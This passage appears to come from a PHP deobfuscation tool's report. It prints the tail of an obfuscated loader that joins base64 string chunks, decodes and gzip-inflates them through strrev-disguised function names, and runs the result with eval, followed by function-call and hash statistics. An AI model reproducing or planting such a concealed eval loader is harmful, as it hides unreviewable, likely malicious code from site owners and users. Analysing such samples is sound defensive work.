h0vOgwX1jwUipX','rwazarBdCe5WM++W3','DlRGOKdU/GFA+6SqH','yYLz+Yp8S2Wcl78fw','nlusUq0Mo1m9e4aVc','aC9ZjeD8wlRTckPXq','/kbJV845hDWaMhviN','fglNxkZQiWWXpRYzD','5LVs1Srf8NoDXe376','RiOyZ6w2ecpn7Jry6','Ex4q+LSPMU2WOnUsD','IwOuVbrBpeHEUZ3HX','L4N3SVV5A3dJLZlsc','QozihMILSru8PAN31','33+AV3iG8bzb2dSmm','4VR5NVQYuPuC4lBm3','9nTVwdw28mD+uGbb+','8k1mSliSUBm82GldO','ta7YtdTCXer4cVfqu','bgxfJt8X3u75TXlAk','z3Gq4uQZul5W2HIqz','Br5GhOu+vL6n1IZpV','XI3Sr/+yaGUK2i/+K','6WnphR029CqbQRksB','9ozaxs4Gw5PeakLoG','RyrFtMRNJ4csYqRYK','3d4b0pYOesYLZzUyr','AWNvZlSGmAvSlBJCy','6EaMy7JTwobxBiXjy','NIxOBl5AMxjdTOoyy','Zm7iMgVZ2LFoPs3Zl','oFOHT30hULN9OZ2tw','Q/8g6dCfJ0m9u3qRg','cr0IbHsV2tH51o+vf','Lba3Ew9J3d9hmXIYX','I7jht0e2Z0JYCvnpb','Fn34xXTlOTsP7Pvo+','K+Oj87Moc/mFUsYG4','9/lhb6bcifb0OSQky','6Hidgg5rSjSQEU7bR','z7dh0cb/An35wJui0','bLp4G4XFuJtic7vq4','mBvWKmabvogCvLvZH','IxlPGLLEt4MacnJh+','VeOZ08/h0CyZuONhC','si3j4JGCLcOz2BCPA','bnLDDJgtsIsAhcfS8','lg6SMpKJ7v9wpgaLJ','rtxjWLYdZrJwn7lKs','gmGnXEW7gp1tlqthd','yroitU3TRHOzDFXvd','Qxizwon6Mp9i9/ak2','HorsMXX3SJAXxB0cs','tyAgyLEUvGAV3G66R','j6mGWa12DM4CzlDX0','HQ83LpzAx5ZqHv/Bh','LOTEygdsROw/D0ksh','VlYOuuKamnYjRlZAG','GUlCsP7Fqgxq8lDFQ','5qBY7zbhz+pCg9R7r','0sGidGiOwb+I+DO9H','Pr6LR7OIhsbx5C5M8','J146UfefEQo02DgR/','guCgUM+fRHAYggzFl','EiNiLBC/BZPCkjIK7','yIue8DM+YjyNqOVGw','4eRR2GSgGxtPp/HCT','LWpk/JQziBN8AICHH','ER5YafAAsfPM0eYSX','ZB70/RHRRN74jr978','iYDn6CRPxnA6/cgmq','GwsTeaexGJuvdBU+0','umNyLrrhhGPle/wH7','AhcfrPViRQ7RSAMbE','Olx37GX9B/qansB3F','axXzJ9Wre8yy4ntF7','golRsbrRMdA4lLz57','frjRqNKC95JR48Eq5','d4+Y9WTEKOizzT/OP','PKw/kLz+ajwNImIiF','3kTdvBFigOTw6Ov7z','sndyePrxCkh561shy','vHp0dn7z6cfy1GwT6','9A4Bp52MClIcs1Qqv','wJHhF/pLFf26mtsW2','kxqkR7OWhJDPTG9sg','m1rPBSyR9q/hH8Fo5','HXtlq6Uu+H46mXBJA','mu8qXi8/HitvSd5V/','Ub9QrJxeKk5Lb8gKm','ZLaSCqQdpWrBQK7xX','YVf7J9dbGrRN93WKv','b0lvgt49+/2vYhoro','6l3DYLbyIYj8YfjYN','hH+iyJybE3d1i1FkB','PzuyAatPWW87vqG7A','7yATBnrTLrJz2DoBV','LkF2pqz08mL56wWTI','AF/YhtSIdx/9Pua7F','apyXY5RTjwGrsi6np','TdIDywcY2a9xSxwHU','qX0lFVOnCkYfYx/qA','RD0H5rK0dX5yRnEIL','xATQBoNdqn48P3x+d','NRa9Gu/z85fjs6hKb','JcNqzPPjy6vz08vzw','9OLD8iYrVETsp+Svy','mMkPZHvaq/g2liV1J','di72h3xuHA5+ncQbA','dufenRf7vJ+9sbnQj','f6uVOyHs5OTs3+dnB','0dXn4+O+VaSlIqbxW','0Xw7/5/z4/efzi6Zi','8FaQXFuYdDKSZDMX7','dI4pKTtX4Io14sk23','xlo0jWOiN6qbMmr5V','O8jiE2AVrpNF1Pwrv','vJFSC0cD3uNEqmIP5','/OibRqFSdgPR0BATc','fY3ESlh5b9eKfdXmy','keqtkAGUn7b6kHlak','W+6okfypQUbGKc4tv','9S9br9WmyqC1UbaBV','2bgq44D+xfpAHO/p3','/OB1hX6DazrGUUHy5','1m938xwWFMK5oS4Iy','/fMEy5EnSDaV1Q110','otWYHMdHFMG2kfwji','5e6Le51Sfn+hEPo8q','tGXGxBcdjO160tl1Y','NFUXB2Sx4+iSchfYV','ZZosIH3xtjIPewzzm','cgauRtCkRKBhxJLNv','DBsolPzx+FLMGletN','mvpN9HNRN3NkFqA9Q','m03yHzFkHP/aEf+RE','gSIcjJnEtQj/s9/1p','sn3iTe5ngLKDdXoWN','+Fl99u+jgfjAqIr2L','hsH2L8ghivCOMonEx','8ypgd5QiTEZEyxOF0','hj2PZBeFqLgP6G9V4','F8q8MOhMBJlqfS9SF','SQMAQ3phwsves0cvs','9kf5EzxUThPmYTTVq','CmjTEMg8fTGEOUBGM','fecTO98TKYUagbfu4','uw649+30wEShazOaJ','8VqiokMqpQDMhKhMv','NGK3efHYEJhTl3F1s','8BPMVQ1vx8FdjjeWD','Uw8ELICpsMnJW4jNv','CnvlEND3f7LSxoojp','5/8owkoVkSQ7ytLMF','0qKmN0q+U2Ur0JFZW','gj886K2dNoUFeEIxt','163XH2XrNGNt63e3C','Twc/4Ihui2HG9K3Xt','quuE5VOEwTBxjILqI','W/7SF3no1lJ8jFir8','u/fGPdMFKV2xvNArn','PVwUh3y5oj0w0+Seq','J88cgWxatEC+Jj0+v','Ap8et8d4sS+BFW2T9','QsrENTRQ4GofyRoPk','YPy1vFQX9DzjCqBgM','QUlcn3av7hQ8wkJFJ','328T83/wM=');$rdeg = strrev('edoc'.'ed_4'.'6'.'es'.'ab');$tikk = strrev('e'.'tal'.'fn'.'iz'.'g');eval($tikk($rdeg(implode('',$jhpsf)))); ?>Function Calls
| strrev | 2 |
| implode | 1 |
| gzinflate | 1 |
| base64_decode | 1 |
Stats
| MD5 | c6a0c8b5954b700f76af27e7e10c0774 |
| Eval Count | 1 |
| Decode Time | 119 ms |